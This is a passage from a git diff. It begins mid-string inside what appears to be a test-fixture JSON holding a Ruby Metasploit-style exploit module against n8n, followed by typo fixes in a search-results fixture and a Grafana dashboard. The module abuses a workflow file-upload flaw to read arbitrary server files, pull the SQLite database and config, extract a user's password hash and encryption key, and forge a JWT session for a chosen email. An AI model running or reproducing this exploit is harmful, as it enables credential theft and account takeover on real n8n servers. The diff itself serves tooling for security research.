'saveManualExecutions' => true,\n 'executionOrder' => 'v1'\n },\n 'tags' => [],\n 'versionId' => version_id,\n 'meta' => 'null',\n 'id' => id\n },\n startNodes: [\n {\n name: 'On form submission',\n sourceData: 'null'\n }\n ],\n destinationNode: 'On form submission'\n }\n\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'rest', 'workflows', @workflow_id.to_s, 'run'),\n 'ctype' => 'application/json',\n 'keep_cookies' => true,\n 'data' => activation_data.to_json\n )\n\n fail_with(Failure::UnexpectedReply, 'Workflow may not run, received unexpected reply') unless res&.code == 200\n\n json_data = res.get_json_document\n\n fail_with(Failure::PayloadFailed, 'Failed to run workflow') unless json_data.dig('data', 'waitingForWebhook') == true\n random_uuid\n end\n\n def get_run_id\n res = send_request_cgi({\n 'method' => 'GET',\n 'uri' => normalize_uri('rest', 'executions'),\n 'vars_get' =>\n {\n 'filter' => %({\"workflowId\":\"#{@workflow_id}\"}),\n 'limit' => 10\n }\n })\n fail_with(Failure::UnexpectedReply, 'Received unexpected reply, could not get run ID') unless res&.code == 200\n\n json_data = res.get_json_document\n\n run_id = json_data.dig('data', 'results', 0, 'id')\n fail_with(Failure::Unknown, 'Failed to get run ID, workflow might not run') unless run_id\n\n run_id\n end\n\n def archive_workflow\n print_status(\"Cleaning up workflow #{@workflow_id}...\")\n\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'rest', 'workflows', @workflow_id.to_s, 'archive'),\n 'keep_cookies' => true\n )\n\n return false unless res&.code == 200\n\n json_data = res.get_json_document\n\n return false unless json_data.dig('data', 'id') == @workflow_id\n\n true\n end\n\n def valid_username?(username)\n /\\A[\\w+\\-.]+@[a-z\\d-]+(\\.[a-z\\d-]+)*\\.[a-z]+\\z/i =~ username\n end\n\n def delete_workflow\n res = send_request_cgi(\n 'method' => 'DELETE',\n 'uri' => normalize_uri(target_uri.path, 'rest', 'workflows', @workflow_id.to_s)\n )\n\n return false unless res&.code == 200\n\n json_data = res.get_json_document\n\n return false unless json_data['data'] == true\n\n true\n end\n\n def extract_content(run_id)\n res = send_request_cgi({\n 'method' => 'GET',\n 'uri' => normalize_uri('rest', 'executions', run_id)\n })\n\n fail_with(Failure::UnexpectedReply, 'Failed to get information about execution, received unexpected reply') unless res&.code == 200\n\n json_data = res.get_json_document\n\n file_data = json_data.dig('data', 'data')\n\n fail_with(Failure::PayloadFailed, 'Failed to read the file') unless file_data\n\n parsed_file_data = parse_json_data(file_data)\n\n file_content_enc = parsed_file_data[29]\n\n fail_with(Failure::NotFound, 'File not found') unless file_content_enc\n\n file_content = ::Base64.decode64(file_content_enc)\n\n file_content\n end\n\n def parse_json_data(data)\n begin\n parsed_file_data = JSON.parse(data)\n rescue JSON::ParserError\n fail_with(Failure::Unknown, 'Failed to parse JSON data')\n end\n parsed_file_data\n end\n\n def read_file(filename)\n form_uri = create_file_upload_workflow\n\n content_type_confusion_upload(form_uri, filename)\n\n run_id = get_run_id\n\n file_content = extract_content(run_id)\n\n if !archive_workflow\n print_warning('Could not archive workflow, workflow might need to be archived and deleted manually')\n return file_content\n end\n\n if !delete_workflow\n print_warning('Could not deleted workflow, workflow might need to be deleted manually')\n return file_content\n end\n\n file_content\n end\n\n def run\n fail_with(Failure::BadConfig, 'Username should be valid email') unless valid_username?(datastore['USERNAME'])\n fail_with(Failure::NoAccess, 'Failed to login') unless login\n\n case action.name\n when 'READ_FILE'\n target_filename = datastore['TARGET_FILENAME']\n fail_with(Failure::BadConfig, 'Filename needs to be set') if target_filename.blank?\n file_content = read_file(target_filename)\n\n stored_path = store_loot(target_filename, 'text/plain', datastore['rhosts'], file_content)\n print_good(\"Results saved to: #{stored_path}\")\n\n when 'EXTRACT_SESSION'\n target_email = datastore['TARGET_EMAIL']\n\n fail_with(Failure::BadConfig, 'Target email needs to be set') if target_email.blank?\n fail_with(Failure::BadConfig, 'Target email should be valid email') unless valid_username?(target_email)\n\n db_content = read_file(\"#{datastore['N8N_CONFIG_DIR']}/database.sqlite\")\n\n fail_with(Failure::NotFound, 'Could not found database file') unless db_content\n\n db_loot_name = store_loot('database.sqlite', 'application/x-sqlite3', datastore['rhosts'], db_content)\n\n print_good(\"Database saved to: #{db_loot_name}\")\n\n db = SQLite3::Database.new(db_loot_name)\n\n user_id = db.execute(%(select id from user where email='#{target_email}')).dig(0, 0)\n password_hash = db.execute(%(select password from user where email='#{target_email}')).dig(0, 0)\n\n fail_with(Failure::NotFound, \"Could not found #{target_email} in database\") unless user_id && password_hash\n\n print_good(\"Extracted user ID: #{user_id}\")\n print_good(\"Extracted password hash: #{password_hash}\")\n\n store_valid_credential(\n user: target_email,\n private: password_hash\n )\n\n config_content = read_file(\"#{datastore['N8N_CONFIG_DIR']}/config\")\n\n fail_with(Failure::NotFound, 'Could not found config file') unless config_content\n\n config_name = store_loot('n8n.config', 'plain/text', datastore['rhosts'], config_content)\n print_good(\"Config file saved to: #{config_name}\")\n\n config_content_json = parse_json_data(config_content)\n encryption_key = config_content_json['encryptionKey']\n\n print_good(\"Extracted encryption key: #{encryption_key}\")\n\n encryption_key = (0...encryption_key.length).step(2).map { |i| encryption_key[i] }\n encryption_key = encryption_key.join('')\n\n jwt_payload = %({\"id\":\"#{user_id}\",\"hash\":\"#{Base64.urlsafe_encode64(Digest::SHA256.digest(\"#{target_email}:#{password_hash}\"))[0..9]}\"})\n\n jwt_ticket = Msf::Exploit::Remote::HTTP::JWT.encode(jwt_payload.to_s, OpenSSL::Digest::SHA256.hexdigest(encryption_key))\n\n print_good(\"JWT ticket as #{target_email}: #{jwt_ticket}\")\n\n end\n end\n\nend", "language": "RUBY" }, { diff --git a/backend/pkg/tools/searchers/testdata/sploitus_result_nmap.json b/backend/pkg/tools/searchers/testdata/sploitus_result_nmap.json index 2cfb55a59..301b0cfbd 100644 --- a/backend/pkg/tools/searchers/testdata/sploitus_result_nmap.json +++ b/backend/pkg/tools/searchers/testdata/sploitus_result_nmap.json @@ -22,7 +22,7 @@ "download": "https://github.com/honze-net/nmap-bootstrap-xsl/" }, { - "title": "[DNmap] Distributed Nmap Framwork", + "title": "[DNmap] Distributed Nmap Framework", "href": "http://www.kitploit.com/2014/03/dnmap-distributed-nmap-framwork.html", "type": "kitploit", "id": "KITPLOIT:8008305432111857928", diff --git a/observability/grafana/dashboards/server/node_exporter_full.json b/observability/grafana/dashboards/server/node_exporter_full.json index 23fb28b6a..63e78ae3a 100644 --- a/observability/grafana/dashboards/server/node_exporter_full.json +++ b/observability/grafana/dashboards/server/node_exporter_full.json @@ -1141,7 +1141,7 @@ "color": "#7EB26D" }, { - "alias": "Avaliable", + "alias": "Available", "color": "#DEDAF7", "fill": 0, "stack": false @@ -2807,7 +2807,7 @@ "timeFrom": null, "timeRegions": [], "timeShift": null, - "title": "Memory Commited", + "title": "Memory Committed", "tooltip": { "shared": true, "sort": 0, @@ -3197,7 +3197,7 @@ "expr": "node_memory_Mapped_bytes{instance=\"$node\",job=\"$job\"}", "format": "time_series", "intervalFactor": 2, - "legendFormat": "Mapped - Used memory in mapped pages files which have been mmaped, such as libraries", + "legendFormat": "Mapped - Used memory in mapped pages files which have been mapped, such as libraries", "refId": "A", "step": 240 }, @@ -3223,7 +3223,7 @@ "format": "time_series", "interval": "", "intervalFactor": 2, - "legendFormat": "ShmemPmdMapped - Ammount of shared (shmem/tmpfs) memory backed by huge pages", + "legendFormat": "ShmemPmdMapped - Amount of shared (shmem/tmpfs) memory backed by huge pages", "refId": "D", "step": 240 } @@ -3465,7 +3465,7 @@ "format": "time_series", "hide": false, "intervalFactor": 2, - "legendFormat": "VmallocChunk - Largest contigious block of vmalloc area which is free", + "legendFormat": "VmallocChunk - Largest contiguous block of vmalloc area which is free", "refId": "A", "step": 240 }, @@ -4475,7 +4475,7 @@ "expr": "node_memory_NFS_Unstable_bytes{instance=\"$node\",job=\"$job\"}", "format": "time_series", "intervalFactor": 2, - "legendFormat": "NFS Unstable - Memory in NFS pages sent to the server, but not yet commited to the storage", + "legendFormat": "NFS Unstable - Memory in NFS pages sent to the server, but not yet committed to the storage", "refId": "A", "step": 240 } @@ -5116,7 +5116,7 @@ "timeFrom": null, "timeRegions": [], "timeShift": null, - "title": "Time Syncronized Drift", + "title": "Time Synchronized Drift", "tooltip": { "shared": true, "sort": 0, @@ -5318,7 +5318,7 @@ "timeFrom": null, "timeRegions": [], "timeShift": null, - "title": "Time Syncronized Status", + "title": "Time Synchronized Status", "tooltip": { "shared": true, "sort": 0, @@ -11720,7 +11720,7 @@ "format": "time_series", "interval": "", "intervalFactor": 2, - "legendFormat": "TCP_tw - Sockets wating close", + "legendFormat": "TCP_tw - Sockets waiting close", "refId": "E", "step": 240 } @@ -12317,7 +12317,7 @@ { "$$hashKey": "object:1889", "format": "short", - "label": "octects out (-) / in (+)", + "label": "octets out (-) / in (+)", "logBase": 1, "max": null, "min": null, @@ -13233,7 +13233,7 @@ "hide": false, "interval": "", "intervalFactor": 2, - "legendFormat": "MaxConn - Limit on the total number of TCP connections the entity can support (Dinamic is \"-1\")", + "legendFormat": "MaxConn - Limit on the total number of TCP connections the entity can support (Dynamic is \"-1\")", "refId": "B", "step": 240 } @@ -13900,4 +13900,4 @@ "title": "Node Exporter Full", "uid": "Yt7T7jG7k", "version": 1 -} \ No newline at end of file +}